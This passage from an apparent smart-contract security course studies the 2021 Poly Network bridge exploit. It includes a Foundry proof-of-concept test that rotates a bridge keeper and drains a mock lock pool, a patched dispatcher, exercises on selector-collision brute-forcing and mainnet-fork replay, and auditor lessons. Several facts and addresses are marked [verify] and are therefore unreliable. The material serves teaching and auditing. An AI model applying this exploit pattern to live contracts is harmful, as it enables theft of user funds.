bytes calldata sig,
address toContract,
bytes calldata methodName,
bytes calldata args,
uint64 fromChainId
) external returns (bool) {
require(_verifyKeeperSig(rawMessage, sig), "bad keeper sig");
// <<< THE PATCH >>>
require(
allowedSelector[toContract][keccak256(methodName)],
"dispatcher: selector not allowed for this target"
);
bytes4 selector = bytes4(
keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))
);
(bool ok, bytes memory ret) = toContract.call(
abi.encodePacked(selector, abi.encode(args, bytes(""), fromChainId))
);
require(ok, "call failed");
return abi.decode(ret, (bool));
}
// ... same _verifyKeeperSig and _splitSig as the vulnerable version ...
function _verifyKeeperSig(bytes calldata rawMessage, bytes calldata sig)
internal
view
returns (bool)
{
bytes memory keeperBytes = state.getKeeper();
require(keeperBytes.length == 20, "keeper not initialised");
address keeper;
assembly { keeper := mload(add(keeperBytes, 20)) }
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(rawMessage))
);
(bytes32 r, bytes32 s, uint8 v) = _splitSig(sig);
return ecrecover(digest, v, r, s) == keeper && keeper != address(0);
}
function _splitSig(bytes calldata sig)
internal
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "bad sig length");
r = bytes32(sig[0:32]);
s = bytes32(sig[32:64]);
v = uint8(sig[64]);
}
}Crucially, in the fixed version:
state.owneris set to a governance address, not to the dispatcher. Keeper rotation now goes throughgovernance.execute(state.setKeeper(...))— a separate code path with its own multisig.- The dispatcher still has its general
verifyHeaderAndExecuteentry point, but it consults theallowedSelectormapping before dispatching. The governance-onlyallow(...)function gates what is callable. setKeeperis never added to the allowlist, so even if the dispatcher were tricked into trying to call it, the check would fail. Defense in depth.
5.6 The exploit test
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/BridgeState.sol";
import "../src/LockPool.sol";
import "../src/BridgeDispatcher.sol";
import "../src/BridgeDispatcherFixed.sol";
contract PolyDispatcherAttackTest is Test {
BridgeDispatcher dispatcher;
BridgeState state;
LockPool pool;
// The original honest keeper.
uint256 honestKey = 0xA11CE;
address honestAddr;
// The attacker.
uint256 attackerKey = 0xBADD1E;
address attackerAddr;
address user = address(0x1234);
function setUp() public {
honestAddr = vm.addr(honestKey);
attackerAddr = vm.addr(attackerKey);
// 1) Deploy dispatcher.
dispatcher = new BridgeDispatcher();
// 2) Deploy state owned by dispatcher (this is the Poly topology).
bytes memory keeperBytes = abi.encodePacked(honestAddr); // 20 bytes
state = new BridgeState(address(dispatcher), keeperBytes);
dispatcher.setState(state);
// 3) Deploy lock pool owned by dispatcher; seed with 100 ETH.
pool = new LockPool{value: 100 ether}(address(dispatcher));
vm.deal(address(pool), 100 ether);
}
/* ----------------------------------------------------------------------
* Attack: phase 1 — rotate the keeper to attackerAddr
* --------------------------------------------------------------------*/
function test_attack_phase1_rotateKeeper() public {
// Build a "cross-chain message" claiming to call BridgeState.setKeeper.
bytes memory args = abi.encodePacked(attackerAddr); // new keeper = 20 bytes
string memory methodName = "setKeeper";
bytes memory rawMessage = abi.encode(
address(state), methodName, args, uint64(0xBEEF)
);
// Honest keeper currently in place; we need their signature for phase 1.
// **In the real Poly Network attack, the attacker exploited a separate
// flaw in proof construction that let them substitute (toContract,
// methodName, args) inside a header that the honest keeper had signed
// for a different payload. We model that here by simply having the
// honest keeper sign the malicious payload — the focus of this PoC is
// the dispatcher-as-admin issue.**
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(rawMessage))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(honestKey, digest);
bytes memory sig = abi.encodePacked(r, s, v);
// Sanity: keeper is honest before.
bytes memory before_ = state.getKeeper();
assertEq(_bytesToAddress(before_), honestAddr);
// Submit. The dispatcher accepts because: (a) the signature is valid,
// (b) there is no selector allowlist.
dispatcher.verifyHeaderAndExecute(
rawMessage,
sig,
address(state),
bytes("setKeeper"),
args,
uint64(0xBEEF)
);
// Keeper is now attacker.
bytes memory after_ = state.getKeeper();
assertEq(_bytesToAddress(after_), attackerAddr,
"keeper should be attacker after rotation");
}
/* ----------------------------------------------------------------------
* Attack: phase 2 — drain the lock pool with attacker-signed unlock msg
* --------------------------------------------------------------------*/
function test_attack_phase2_drainPool() public {
// First run phase 1.
test_attack_phase1_rotateKeeper();
// Now attacker signs an "unlock 100 ether to attackerAddr" message.
bytes memory args = abi.encode(payable(attackerAddr), uint256(100 ether));
string memory methodName = "unlock";
bytes memory rawMessage = abi.encode(
address(pool), methodName, args, uint64(0xBEEF)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(rawMessage))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, digest);
bytes memory sig = abi.encodePacked(r, s, v);
uint256 attackerBefore = attackerAddr.balance;
assertEq(address(pool).balance, 100 ether);
dispatcher.verifyHeaderAndExecute(
rawMessage,
sig,
address(pool),
bytes("unlock"),
args,
uint64(0xBEEF)
);
// The pool is drained.
assertEq(address(pool).balance, 0, "pool should be empty");
assertEq(attackerAddr.balance - attackerBefore, 100 ether,
"attacker should have stolen 100 ETH");
}
/* ----------------------------------------------------------------------
* Same attack against the PATCHED dispatcher — should revert in phase 1
* --------------------------------------------------------------------*/
function test_patched_dispatcher_blocks_rotation() public {
// Re-deploy with the patched dispatcher.
BridgeDispatcherFixed patched = new BridgeDispatcherFixed(address(this));
BridgeState ps = new BridgeState(address(this), abi.encodePacked(honestAddr));
// Note: state.owner is GOVERNANCE (this contract), NOT the dispatcher.
patched.setState(ps);
LockPool pp = new LockPool{value: 100 ether}(address(patched));
vm.deal(address(pp), 100 ether);
// Governance allowlists only the "unlock" selector on the pool.
patched.allow(address(pp), "unlock", true);
// setKeeper is deliberately NOT allowlisted.
bytes memory args = abi.encodePacked(attackerAddr);
string memory methodName = "setKeeper";
bytes memory rawMessage = abi.encode(
address(ps), methodName, args, uint64(0xBEEF)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(rawMessage))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(honestKey, digest);
bytes memory sig = abi.encodePacked(r, s, v);
// The patched dispatcher refuses.
vm.expectRevert("dispatcher: selector not allowed for this target");
patched.verifyHeaderAndExecute(
rawMessage,
sig,
address(ps),
bytes("setKeeper"),
args,
uint64(0xBEEF)
);
}
/* ---- helpers ----------------------------------------------------------*/
function _bytesToAddress(bytes memory b) internal pure returns (address a) {
require(b.length == 20, "not an address");
assembly { a := mload(add(b, 20)) }
}
receive() external payable {}
}5.7 Running it
forge test --match-contract PolyDispatcherAttackTest -vvvExpected output (abbreviated):
[PASS] test_attack_phase1_rotateKeeper() (gas: ~80k)
[PASS] test_attack_phase2_drainPool() (gas: ~120k)
[PASS] test_patched_dispatcher_blocks_rotation() (gas: ~70k)
Both attack phases pass against the vulnerable dispatcher; the patched dispatcher reverts on phase 1, which means phase 2 is structurally unreachable. Twelve lines of patch saved a notional $611M.
5.8 Stretch exercises
-
Exercise A: Modify the PoC so that the BridgeState’s owner is the
governanceaddress (a multisig), and the dispatcher calls into BridgeState only through aGovernance.executeRotation(...)function that requires multiple signatures. This is the cleaner fix — even an allowlist mistake on the dispatcher cannot rotate the keeper. -
Exercise B: Replicate the selector-collision specifically: find a short string
msuch thatkeccak256(m + "(bytes,bytes,uint64)")[:4] == keccak256("setKeeper(bytes,bytes,uint64)")[:4]. Brute-force it. Show that the vulnerable dispatcher accepts the colliding string identically. Now show that a patched dispatcher that whitelists bykeccak256(methodName)instead of by selector bytes still blocks the call. Conclusion: do not allowlist by selector; allowlist by the full method-name string (or canonical signature). Selector collisions are real and exploitable. -
Exercise C: Add a
BridgeStateMonitorcontract that emits an event wheneversetKeeperis called and alarms if the call did not originate from the governance multisig. Show how off-chain monitoring (Forta/Defender-style) could have detected the rotation before phase 2’s drain landed. -
Exercise D: Repeat the entire attack on a forked Ethereum at block ~12,996,000 (just before Aug 10, 2021 [verify block number]). Use the real
EthCrossChainManagerdeployment. Document the realmethodNamecollision strings the attacker used in production. This is the historical-forensic version of the exercise; the PoC above is the teaching version.
6. Aftermath
6.1 The day-of incident response
The Poly Network team’s day-of response was, by industry standards, fast and competent:
- ~12:00 UTC, Aug 10: First public acknowledgement on Twitter. Provided attacker addresses on all three chains. Asked centralized exchanges (Binance, OKX, Huobi) and stablecoin issuers (Tether, Circle) to freeze incoming transfers.
- Late afternoon Aug 10: Tether froze ~$33M USDT. Major exchanges added attacker addresses to their internal blocklists. Coinbase, despite Poly Network not being directly connected, voluntarily blacklisted.
- Aug 10 evening: SlowMist published a preliminary technical post-mortem identifying the dispatcher-as-admin pattern. Mudit Gupta (then at Polygon, now elsewhere [verify]) published a parallel technical thread on Twitter explaining the bug.
- Aug 10–11: SlowMist claims to have traced the attacker’s IP, email, and exchange linkages within ~24 hours. The attacker (calling themselves “Mr. White Hat”) appears to have understood the de-anonymization risk and began responding via on-chain calldata messages.
6.2 The return saga (Aug 11 – Aug 26)
The negotiation was conducted in public, on-chain. The most-quoted exchanges happened via embedded ASCII in transaction calldata. Key milestones:
| Date | Event |
|---|---|
| Aug 11 | Attacker returns first $260M (mostly BSC- and Polygon-side assets, which were easier to move). Poly Network creates a multisig vault to receive returns. |
| Aug 12 | More returns. Attacker requests a “white-hat bounty”; Poly Network publicly offers $500K. Attacker accepts and is sent the funds. |
| Aug 13 | Attacker proposes returning the $500K bounty as a “donation.” |
| Aug 14 | Attacker holds out ~$235M (mostly the USDT that Tether froze, plus some uncertain holdings). |
| Aug 16 | Attacker provides “Mr. White Hat” multisig key to Poly Network. The keys to a 2-of-3 multisig containing the remaining funds are held by: Poly Network, Mr. White Hat, and a third party. |
| Aug 19–23 | Coordination with Tether to unfreeze the $33M USDT in exchange for it being moved into the multisig. |
| Aug 26 | Tether unfreezes; final tranche returned. Total recovered: ~611M stolen. The remaining ~$1M shortfall is in long-tail tokens unaccounted-for. |
By Aug 26, sixteen days after the attack, Poly Network was effectively whole.
6.3 No hard fork. No retroactive code change.
This is structurally important and worth emphasising. Compare to The DAO (June 2016), where Ethereum hard-forked to roll back the attack. Poly Network had no hard fork because:
- The attack was on user assets held in Poly Network’s
LockProxy, not in any chain’s protocol. The chains themselves (Ethereum, BSC, Polygon) had no reason to fork. - The funds were recovered through social, not protocol, mechanisms.
- Even if recovery had failed, no chain’s L1 governance would have considered forking for Poly Network — by 2021 the post-DAO settlement was firmly “no protocol forks for application-layer failures.”
The auditor’s takeaway: modern bridges cannot rely on chain-level remediation. The recovery option is “convince the attacker to return.” As remediation strategies go, that is at-best a Hail Mary. Architect to never need it.
6.4 Bridge resumed; protocol continued
Poly Network patched the dispatcher (added an allowlist of (toContract, methodName) pairs), re-audited, and resumed operations within days of the recovery. The protocol continued operating into 2022 and 2023, though with diminished public prominence.
In 2023, Poly Network was hacked again [verify — the 2023 incident was a separate, smaller compromise affecting around $42M, by some reports involving compromised keeper keys rather than the same dispatcher class of bug]. The second incident did not produce a similar recovery. This is itself a lesson:
A protocol that has been hacked once is more likely than baseline to be hacked again. Either the underlying architecture has multiple instances of the same class of bug, or the team’s audit-and-deployment discipline is structurally weak, or both. Auditors should reweight “this team has been hacked before” upward in their priors.
6.5 Industry-level consequences
- The “selector allowlist” pattern became audit-checklist standard. Every subsequent bridge audit by Trail of Bits, OpenZeppelin, Spearbit, etc. explicitly asks: “what is the set of selectors reachable via the cross-chain dispatcher? Is each one safe for an external party to invoke?”
- Separation of
state.ownerfrom dispatcher became standard architecture. LayerZero V2’sEndpointdoes not own application config; applications configure their own DVNs independently. Wormhole’s Core does not own its own governance contract; governance is a separate VAA-only path with reserved action codes. - The bridge-design pattern of “user messages and admin messages share the same path” was retired in serious protocols. Where the path is necessarily shared (e.g., Wormhole’s governance VAAs use the same Guardian-signing path as user VAAs), there are explicit, reserved action codes and
target = governance.addresschecks gating admin actions. - Public negotiations with attackers (“white-hat bounties,” “we won’t prosecute if you return”) became a documented playbook. Whether it’s a good playbook is contested; what is uncontested is that Poly Network is the canonical case where it worked end-to-end.
- SlowMist’s de-anonymization speed (within 24 hours, allegedly to a named individual) reset the industry’s understanding of attacker pseudonymity. The era of “I’ll just bridge it through Tornado and disappear” was already ending by 2021; Poly Network’s recovery accelerated the realization that operational OPSEC (exchange KYC, IP leakage, email artifacts) is much weaker than smart-contract-level pseudonymity.
7. Lessons for auditors
7.1 The trust-boundary inventory
Whenever you audit a bridge — or any system with cross-domain message dispatch — your first artifact is a trust-boundary inventory:
| Caller | Callee | Selector | What it does | Is it acceptable for caller to invoke this? |
|---|---|---|---|---|
EthCrossChainManager (any external relayer with a keeper sig) | LockProxy | unlock(bytes,bytes,uint64) | Releases locked assets | Yes — this is the intended cross-chain path |
EthCrossChainManager (any external relayer with a keeper sig) | EthCrossChainData | putCurEpochConPubKeyBytes(bytes,bytes,uint64) | Rotates keeper set | NO — this is an admin action, should never be reachable from a user-side relayer |
EthCrossChainData (admin only) | EthCrossChainData | transferOwnership(address) | Changes the dispatcher | NO from cross-chain side; YES only from designated off-chain governance |
For every cross-chain dispatcher you audit, populate this table for every contract owned by the dispatcher, listing every external function. Any row where the answer to the right column is “NO” but the bridge architecture allows the call is a critical finding.
This artifact is the single highest-leverage thing you produce in a bridge audit. It is also the artifact that, had the original Poly Network audit produced it, would have caught the $611M bug.
7.2 Selector cannot be access control
The Poly Network bug has a sub-lesson that should be tattooed onto bridge auditors:
Four-byte selectors are not a security boundary. They are a routing primitive.
The selector is computed from a hash, which is collision-prone for a 32-bit prefix. Any defense that relies on “the attacker can’t construct a selector for X” is structurally broken — the search space is small enough to brute-force on a laptop in seconds.
If you ever see code like:
if (selector == privilegedSelector) revert("not allowed");
// otherwise dispatch…this is not a defense. The attacker can pick a different methodName whose keccak collides with the target function’s selector while not matching privilegedSelector. The right pattern is the inverse:
require(allowlist[selector], "selector not in allowlist");…and the allowlist is populated by off-chain governance, not by cross-chain messages.
7.3 “Owned by the dispatcher” should set off alarms
If contract X has owner = Y and Y is a dispatcher (forwards arbitrary calldata based on user input), then X’s onlyOwner is effectively onlyDispatcher, which is effectively onlyRelayer-with-a-valid-message, which on a permissive bridge is effectively external.
The auditor’s instinct on seeing owner = ECCM (or any equivalent) should be: “what can the dispatcher be tricked into calling on this contract?” That question, applied honestly, finds the Poly Network bug in ten minutes.
7.4 Defense in depth — three layers, not one
The Poly Network architecture had zero defenses against the dispatcher-as-admin attack. A modern bridge should have at least three layers, any one of which would stop the attack:
- Cryptographic binding: the keeper signature must cover the full payload including
(toContract, methodName, args). No substitution after signing. (The original Poly attack had a weaker binding here; that was a necessary but not sufficient enabler.) - Selector / target allowlist on the dispatcher: only specific
(toContract, methodName)pairs are dispatchable. (The cleanest fix.) - Separation of admin ownership from dispatcher: the data contract is owned by a multisig under off-chain governance, with its own multi-step rotation flow. Even if the dispatcher is somehow tricked, the data contract refuses the call. (Belt-and-braces.)
Modern protocols (LayerZero, CCIP, IBC, etc.) do all three. Poly Network did none.
7.5 The “marketed trust model vs deployed trust model” finding
A non-code audit finding, but a real one: Poly Network was marketed as a “cryptographically secure” cross-chain protocol while operating a 4-keeper multisig with no public identities, no slashing, and a single off-chain governance team.
Audit reports should always include a section titled “Trust Assumptions, As Marketed vs. As Implemented.” When the gap is large — as in Poly Network, or Multichain, or even Wormhole’s pre-Jump-bailout positioning — users are making decisions on bad information. The audit finding here is “the trust model is reasonable as implemented, but the user-facing documentation overstates its decentralization. Recommend disclosure.”
This is the L2Beat Stages mindset applied to bridges. A consistent auditor practice on this point would have done meaningful good in the 2021–2022 era.
7.6 Recovery is not a strategy
The Poly Network case is not an example of “DeFi self-corrects.” It is an example of an attacker who chose to return funds. The attacker had options: hold, launder, distribute. They chose return — for reasons that remain partially mysterious. Other attackers, in other incidents, made other choices. Ronin’s attacker (Lazarus Group) did not return. Wormhole’s attacker did not return. Nomad’s attackers (300+ of them) did not return.
Auditor’s stance: the architecture must work even if the attacker is unaligned. Returning funds is a contingent gift, not a structural property. Do not allow a protocol team to point at Poly Network and argue “we don’t need to fix the architecture because if anything happens we’ll just ask nicely.” This is not a serious answer.
7.7 Why this bug class persists
You might think “the dispatcher-as-admin bug is so obvious that nobody would build it twice.” This is wrong. Variants of the same pattern appear regularly:
- Multicall executors trusted by privileged functions: anyone who can submit a Multicall payload can chain calls to admin functions.
- L1↔L2 messengers with
onlyMessengerprivilege on rollup config contracts: a malicious L1-originated message could mutate config if there is no per-action allowlist. - AA wallets (ERC-4337): pre-validated entry-point calls trusted by the account for self-mutation, without per-selector checking.
- DeFi router contracts that allow generic
delegatecallor arbitrarycallbased on user input — if the router itself is trusted by other contracts (e.g., a yield optimizer), abuse is open.
Each of these is structurally “a privileged caller dispatches user-controlled calldata; the callee trusts the caller.” Each is a Poly Network in waiting. The audit pattern is identical: enumerate the privileged-callable surface and check every selector for safety.
8. What you would have caught (pre-attack auditor exercise)
If Poly Network’s EthCrossChainManager and EthCrossChainData landed in your audit inbox today, what fires on read — before you compile a thing?
8.1 Immediate fires (under 60 seconds)
| Signal | Why it fires |
|---|---|
EthCrossChainData.owner = address(EthCrossChainManager) (constructor wiring) | A contract owning another contract’s admin is a major design smell. Ask: “what can the owning contract do? What selectors does it forward? Can a user trigger any of them?” |
_executeCrossChainTx(toContract, methodName, args, ...) with no whitelisting | The function name itself is a confession: “execute cross-chain tx” — anything? Yes, anything. Where is the allowlist? Doesn’t exist. Critical. |
bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))) selector synthesis from user-supplied bytes | Selector synthesis from user-controlled string is a code smell. Combined with no allowlist, it’s a critical finding. |
putCurEpochConPubKeyBytes(bytes,bytes,uint64) exists on the data contract and has matching (bytes,bytes,uint64) signature | The privileged setter has the exact signature shape that the dispatcher constructs. This is the alignment that lets the dispatcher invoke it. Should jump out instantly. |
No pause() mechanism on the dispatcher | If the bug is detected mid-attack there is no kill switch. Bridge of this TVL with no pause = major operational finding even pre-exploit. |
8.2 Secondary signals (next 5 minutes)
onlyOwnermodifier onsetKeeperreads as protection — but the auditor should ask “who is owner?” and immediately discover it’s the dispatcher. Read everyonlyOwnermodifier asonlyOwnerContractuntil you verify it’sonlyOwnerEOA.- Symmetric architecture across 6+ chains means the bug applies cartesianly: any single audit finding is multiplied by deployment count. Find a bug once, write it in the report once, but flag explicitly that the impact spans every chain the contract is deployed on.
- No rate limit on
_executeCrossChainTx— even ignoring the dispatcher-as-admin issue, the bridge has no per-message or per-period cap. A single compromised relayer + cracked keeper could drain the entire pool in one transaction. A rate limit alone would have capped the loss to a fraction. getCurEpochConPubKeyBytes()is read on everyverifyHeaderAndExecute— this is the key being checked. The setter that mutates it lives on the same data contract reachable through the same dispatcher. The dispatcher reads and writes its own trust anchor through the same access-control path. This is structurally fragile.- No event emitted on
putCurEpochConPubKeyBytes[verify against actual source] — if there’s noKeeperRotated(bytes oldKeys, bytes newKeys, address by)event, even on-chain monitoring of rotation is impossible. A simple event-emit would have alerted watchers within seconds of phase 1.
8.3 The 60-second auditor verdict
“This bridge has a cross-chain dispatcher that synthesises a function selector from a user-controlled
methodNamestring and calls it on a user-controlledtoContractwith user-controlledargs. No allowlist constrains either dimension. The bridge’s own admin contract (EthCrossChainData) is owned by this dispatcher and has a public-key-rotation function with matching signature shape. Critical: cross-chain dispatcher can invoke admin functions on its own state contract, includingputCurEpochConPubKeyBytes, allowing a single user-side relayer call to rotate the keeper set to attacker-controlled keys. PoC: construct a cross-chain message withtoContract = EthCrossChainDataandmethodNamewhose selector matchesputCurEpochConPubKeyBytes’s. Estimated exploitability: trivial. Severity: critical (entire bridge TVL at risk across all deployed chains).”
Plus a 200-line Foundry PoC, plus the patch (one allowlist + one ownership separation). That is the finding.
8.4 What this teaches about audit methodology
Poly Network’s contracts were audited [verify the audit firm and date — multiple firms reviewed Poly Network prior to August 2021; the precise scope of each is documented in the firms’ public reports]. None of the public audits caught the dispatcher-as-admin issue. Why?
- Function-level review. Each function (
verifyHeaderAndExecuteTx,putCurEpochConPubKeyBytes,_executeCrossChainTx) reads as plausibly correct in isolation. The bug is in the composition, specifically the composition across two contracts (EthCrossChainManagerandEthCrossChainData). - Cross-contract trust-boundary analysis was not yet a standard practice in 2020–2021 audits. The discipline of mapping “every function reachable through every privileged caller across the deployment” was articulated later (Trail of Bits’s bridge-audit methodology post-Poly Network is the canonical reference).
- Marketing-driven framing. Audits often inherit the protocol’s framing of its own architecture: “the keeper multisig is the trust anchor.” Auditors look for keeper-side compromise. The bug is on the consumer side of that trust — an unauthorized relayer with no keeper credentials abused the dispatcher.
- Assumed safety of
onlyOwner. The mental shortcut “this function isonlyOwner, so it’s safe” stops the analysis prematurely. The correct next question — “who is owner, and can the owner be tricked?” — was not consistently asked.
The modern bridge-auditor’s playbook is built on these failures. Trail of Bits, OpenZeppelin, Spearbit, and ChainSecurity have all published variants of “how to audit a bridge” that explicitly enumerate the trust-boundary discovery as Step 1.
9. References
Primary post-mortems and analyses
- SlowMist — “The Root Cause of Poly Network Being Hacked” (Aug 10, 2021): https://slowmist.medium.com/the-root-cause-of-poly-network-being-hacked-ec2ee1b0c68f — the canonical technical breakdown of the dispatcher-as-admin bug.
- Mudit Gupta — Twitter thread on Poly Network exploit (Aug 10, 2021): https://twitter.com/Mudit__Gupta/status/1425090029883531269 [verify URL — Twitter/X URLs are unstable; the thread is widely archived].
- PeckShield — initial detection thread / blog post on Poly Network (Aug 10, 2021): https://peckshield.medium.com/the-poly-network-hack-explained-855fe9f8e7bd [verify exact URL]; PeckShield is one of the first responders that traced the attacker’s calldata.
- BlockSec — “Poly Network Hack Analysis” (Aug 11, 2021): https://blocksecteam.medium.com/the-analysis-and-q-a-of-poly-network-being-hacked-7cebff6c97d3 [verify].
Poly Network official communications
- Poly Network — original incident tweet thread (Aug 10, 2021): https://twitter.com/PolyNetwork2/status/1425073987164381196 [verify].
- Poly Network — public statements during the recovery (Aug 10–26, 2021): posted across the official Twitter account and Medium; thread aggregation at https://medium.com/poly-network [verify URL].
- Poly Network — “Important Notice” announcing the resumption (~Aug 17, 2021) [verify].
”Mr. White Hat” on-chain messages
- Etherscan trace of Mr. White Hat’s calldata messages (Aug 11–12, 2021): visible on the attacker’s main Ethereum EOA
0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963[verify]. Block range approximately 12,996,000 – 13,005,000. - CoinDesk transcript of the on-chain Q&A (Aug 12, 2021): https://www.coindesk.com/markets/2021/08/12/the-poly-network-hacker-is-asking-for-tips-and-they-have-questions/ [verify URL].
Tether’s freeze announcement
- Paolo Ardoino (Tether CTO) — Twitter post confirming the USDT freeze (Aug 10, 2021) [verify URL].
Industry-context retrospectives
- Trail of Bits — “Cross-chain bridges: How they work and why they’re vulnerable” (post-Poly Network methodology): https://blog.trailofbits.com/ [verify exact URL of the relevant post; Trail of Bits has published multiple bridge methodology pieces].
- Chainalysis — Crypto Crime Report 2022: includes cumulative bridge-attack statistics with Poly Network as the top-of-list entry: https://go.chainalysis.com/2022-Crypto-Crime-Report.html [verify URL].
- Rekt.news — “Poly Network — REKT”: https://rekt.news/polynetwork-rekt/ [verify — rekt.news publishes incident-by-incident write-ups; Poly Network is one of the early canonical entries].
Source code
- Poly Network EVM contracts (GitHub): https://github.com/polynetwork/eth-contracts [verify — the original repo may have been renamed or moved; the relevant Solidity files are
EthCrossChainManager.sol,EthCrossChainData.sol, andLockProxy.sol]. - Patched dispatcher post-recovery (commit history on the same repo) — examine the diff for the introduced allowlist pattern.
Key Etherscan addresses
EthCrossChainManagerproxy on Ethereum:0x838bf9E95CB12Dd76a54c9f9D2A3082EAF3D02b9[verify].EthCrossChainDataon Ethereum:0xcF2afe102057bA5c16f899271045a0A37fCb10f2[verify].- Attacker EOA on Ethereum:
0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963[verify; multiple addresses across the three chains]. - Attacker EOA on BSC:
0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71[verify]. - Attacker EOA on Polygon:
0x5dc3603C9D42Ff184153a8a9094a73d461663214[verify]. - Recovery multisig (Mr. White Hat 2-of-3): address published by Poly Network during the recovery [verify].
Course cross-references
- Tuan-10-Bridge-Cross-Chain-Security §7.1 — protocol-week summary of this case.
- Tuan-10-Bridge-Cross-Chain-Security §6 — selector allowlisting and trust boundaries.
- Tuan-10-Bridge-Cross-Chain-Security §8.4 — Lab 3 (validator-set rotation race) Task B reproduces a stripped self-rotation attack.
- Tuan-04-Security-Foundations-CEI-AC §6–§7 — privileged-function inventory methodology, applied here.
- Case-Wormhole-2022 — different bridge layer, similar lesson: every “trusted account” / “trusted call” must be explicitly checked.
- Case-Nomad-Bridge-2022 — different bug class (initialization default), same family of “the dispatcher trusted something it shouldn’t have.”
- Case-Ronin-Bridge-2022 — the opposite failure mode: keys compromised, code held. Pair with Poly Network to see the full spectrum.
- Case-Parity-Multisig-2017 — earlier instance of “privileged function reachable by anyone,” same audit-instinct gap.
Last updated: 2026-05-16 See also: Tuan-10-Bridge-Cross-Chain-Security · Tuan-04-Security-Foundations-CEI-AC · Case-Wormhole-2022 · Case-Nomad-Bridge-2022 · Case-Ronin-Bridge-2022 · Case-Parity-Multisig-2017 · audit-checklist-master · Roadmap · References